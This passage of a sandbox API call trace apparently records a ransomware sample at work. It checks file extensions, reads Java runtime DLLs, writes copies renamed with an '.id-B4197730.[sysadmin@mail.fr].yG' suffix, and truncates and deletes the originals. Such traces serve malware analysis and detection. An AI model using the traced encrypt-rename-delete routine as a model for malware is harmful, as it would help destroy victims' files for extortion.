	[0182.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.008] lstrlenW (lpString=".1cd") returned 4
	[0182.008] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0182.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.008] lstrlenW (lpString=".jpg") returned 4
	[0182.008] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0182.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.008] lstrlenW (lpString=".doc") returned 4
	[0182.008] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0182.008] lstrlenW (lpString=".docx") returned 5
	[0182.008] lstrcmpiW (lpString1=".docx", lpString2="1.tlb") returned -1
	[0182.008] lstrlenW (lpString=".pdf") returned 4
	[0182.008] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0182.009] lstrlenW (lpString=".xls") returned 4
	[0182.009] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0182.009] lstrlenW (lpString=".xlsx") returned 5
	[0182.009] lstrcmpiW (lpString1=".xlsx", lpString2="1.tlb") returned -1
	[0182.009] lstrlenW (lpString=".ppt") returned 4
	[0182.009] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0182.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.009] lstrlenW (lpString=".zip") returned 4
	[0182.009] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0182.009] lstrlenW (lpString=".rar") returned 4
	[0182.009] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0182.009] lstrlenW (lpString=".bz2") returned 4
	[0182.009] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0182.009] lstrlenW (lpString=".7z") returned 3
	[0182.009] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0182.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.009] lstrlenW (lpString=".dbf") returned 4
	[0182.009] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0182.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.010] lstrlenW (lpString=".1cd") returned 4
	[0182.010] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0182.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb") returned 52
	[0182.010] lstrlenW (lpString=".jpg") returned 4
	[0182.010] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0182.010] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.010] lstrlenW (lpString="bci.dll") returned 7
	[0182.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.011] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=16960) returned 1
	[0182.011] CloseHandle (hObject=0x34c) returned 1
	[0182.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 0x20
	[0182.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.012] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.012] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.012] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0182.013] GetLastError () returned 0x0
	[0182.013] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x4240, lpOverlapped=0x0) returned 1
	[0182.034] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x4250, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x4250, lpOverlapped=0x0) returned 1
	[0182.037] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.037] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xe2, lpOverlapped=0x0) returned 1
	[0182.037] SetEndOfFile (hFile=0x33c) returned 1
	[0182.038] CloseHandle (hObject=0x33c) returned 1
	[0182.038] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.038] SetEndOfFile (hFile=0x34c) returned 1
	[0182.040] CloseHandle (hObject=0x34c) returned 1
	[0182.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0182.041] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\bci.dll")) returned 1
	[0182.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.042] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.042] lstrlenW (lpString=".doc") returned 4
	[0182.042] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.042] lstrlenW (lpString=".docx") returned 5
	[0182.042] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0182.042] lstrlenW (lpString=".pdf") returned 4
	[0182.042] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.042] lstrlenW (lpString=".xls") returned 4
	[0182.042] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.042] lstrlenW (lpString=".xlsx") returned 5
	[0182.042] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0182.042] lstrlenW (lpString=".ppt") returned 4
	[0182.043] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.043] lstrlenW (lpString=".zip") returned 4
	[0182.043] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.043] lstrlenW (lpString=".rar") returned 4
	[0182.043] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.043] lstrlenW (lpString=".bz2") returned 4
	[0182.043] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.043] lstrlenW (lpString=".7z") returned 3
	[0182.043] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.043] lstrlenW (lpString=".dbf") returned 4
	[0182.043] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.043] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.043] lstrlenW (lpString=".1cd") returned 4
	[0182.043] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.044] lstrlenW (lpString=".jpg") returned 4
	[0182.044] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.044] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.044] lstrlenW (lpString=".doc") returned 4
	[0182.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.044] lstrlenW (lpString=".docx") returned 5
	[0182.044] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0182.044] lstrlenW (lpString=".pdf") returned 4
	[0182.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.045] lstrlenW (lpString=".xls") returned 4
	[0182.045] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.045] lstrlenW (lpString=".xlsx") returned 5
	[0182.045] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0182.045] lstrlenW (lpString=".ppt") returned 4
	[0182.045] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.045] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.045] lstrlenW (lpString=".zip") returned 4
	[0182.045] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.045] lstrlenW (lpString=".rar") returned 4
	[0182.045] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.045] lstrlenW (lpString=".bz2") returned 4
	[0182.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.045] lstrlenW (lpString=".7z") returned 3
	[0182.046] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.046] lstrlenW (lpString=".dbf") returned 4
	[0182.046] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.046] lstrlenW (lpString=".1cd") returned 4
	[0182.046] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.046] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\bci.dll") returned 46
	[0182.046] lstrlenW (lpString=".jpg") returned 4
	[0182.046] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.047] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.047] lstrlenW (lpString="decora_sse.dll") returned 14
	[0182.047] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.048] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=86080) returned 1
	[0182.048] CloseHandle (hObject=0x34c) returned 1
	[0182.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 0x20
	[0182.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.049] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.049] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0182.051] GetLastError () returned 0x0
	[0182.051] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x15040, lpOverlapped=0x0) returned 1
	[0182.395] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x15050, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x15050, lpOverlapped=0x0) returned 1
	[0182.398] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.398] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xf0, lpOverlapped=0x0) returned 1
	[0182.398] SetEndOfFile (hFile=0x33c) returned 1
	[0182.399] CloseHandle (hObject=0x33c) returned 1
	[0182.399] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.399] SetEndOfFile (hFile=0x34c) returned 1
	[0182.400] CloseHandle (hObject=0x34c) returned 1
	[0182.400] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0182.401] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\decora_sse.dll")) returned 1
	[0182.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.401] lstrlenW (lpString=".doc") returned 4
	[0182.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.401] lstrlenW (lpString=".docx") returned 5
	[0182.401] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0182.401] lstrlenW (lpString=".pdf") returned 4
	[0182.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.401] lstrlenW (lpString=".xls") returned 4
	[0182.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.402] lstrlenW (lpString=".xlsx") returned 5
	[0182.402] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0182.402] lstrlenW (lpString=".ppt") returned 4
	[0182.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.402] lstrlenW (lpString=".zip") returned 4
	[0182.402] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.402] lstrlenW (lpString=".rar") returned 4
	[0182.402] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.402] lstrlenW (lpString=".bz2") returned 4
	[0182.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.402] lstrlenW (lpString=".7z") returned 3
	[0182.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.402] lstrlenW (lpString=".dbf") returned 4
	[0182.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.402] lstrlenW (lpString=".1cd") returned 4
	[0182.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.403] lstrlenW (lpString=".jpg") returned 4
	[0182.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.403] lstrlenW (lpString=".doc") returned 4
	[0182.403] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0182.403] lstrlenW (lpString=".docx") returned 5
	[0182.403] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0182.403] lstrlenW (lpString=".pdf") returned 4
	[0182.403] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0182.403] lstrlenW (lpString=".xls") returned 4
	[0182.403] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0182.403] lstrlenW (lpString=".xlsx") returned 5
	[0182.403] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0182.403] lstrlenW (lpString=".ppt") returned 4
	[0182.403] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0182.403] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.404] lstrlenW (lpString=".zip") returned 4
	[0182.404] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0182.404] lstrlenW (lpString=".rar") returned 4
	[0182.404] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0182.404] lstrlenW (lpString=".bz2") returned 4
	[0182.404] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0182.404] lstrlenW (lpString=".7z") returned 3
	[0182.404] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0182.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.404] lstrlenW (lpString=".dbf") returned 4
	[0182.404] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0182.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.404] lstrlenW (lpString=".1cd") returned 4
	[0182.404] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0182.404] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\decora_sse.dll") returned 53
	[0182.404] lstrlenW (lpString=".jpg") returned 4
	[0182.404] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0182.405] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0182.405] lstrlenW (lpString="npdeployJava1.dll") returned 17
	[0182.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.406] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=1156672) returned 1
	[0182.406] CloseHandle (hObject=0x34c) returned 1
	[0182.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 0x20
	[0182.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.406] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0182.407] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.407] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.407] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0182.407] GetLastError () returned 0x0
	[0182.407] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0183.177] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0183.551] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x1a650, lpOverlapped=0x0) returned 1
	[0183.562] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0x1a660, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0x1a660, lpOverlapped=0x0) returned 1
	[0183.567] ReadFile (in: hFile=0x34c, lpBuffer=0x3e33020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.567] WriteFile (in: hFile=0x33c, lpBuffer=0x3e33020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e33020*, lpNumberOfBytesWritten=0x33dfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0183.567] SetEndOfFile (hFile=0x33c) returned 1
	[0183.567] CloseHandle (hObject=0x33c) returned 1
	[0183.567] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.567] SetEndOfFile (hFile=0x34c) returned 1
	[0183.569] CloseHandle (hObject=0x34c) returned 1
	[0183.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0183.569] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\dtplugin\\npdeployjava1.dll")) returned 1
	[0183.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.570] lstrlenW (lpString=".doc") returned 4
	[0183.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString=".docx") returned 5
	[0183.570] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1
	[0183.570] lstrlenW (lpString=".pdf") returned 4
	[0183.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString=".xls") returned 4
	[0183.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString=".xlsx") returned 5
	[0183.570] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1
	[0183.570] lstrlenW (lpString=".ppt") returned 4
	[0183.570] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.570] lstrlenW (lpString=".zip") returned 4
	[0183.570] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString=".rar") returned 4
	[0183.570] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.570] lstrlenW (lpString=".bz2") returned 4
	[0183.570] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.570] lstrlenW (lpString=".7z") returned 3
	[0183.570] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString=".dbf") returned 4
	[0183.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString=".1cd") returned 4
	[0183.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.571] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\npdeployJava1.dll") returned 65
	[0183.571] lstrlenW (lpString=".jpg") returned 4
	[0183.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
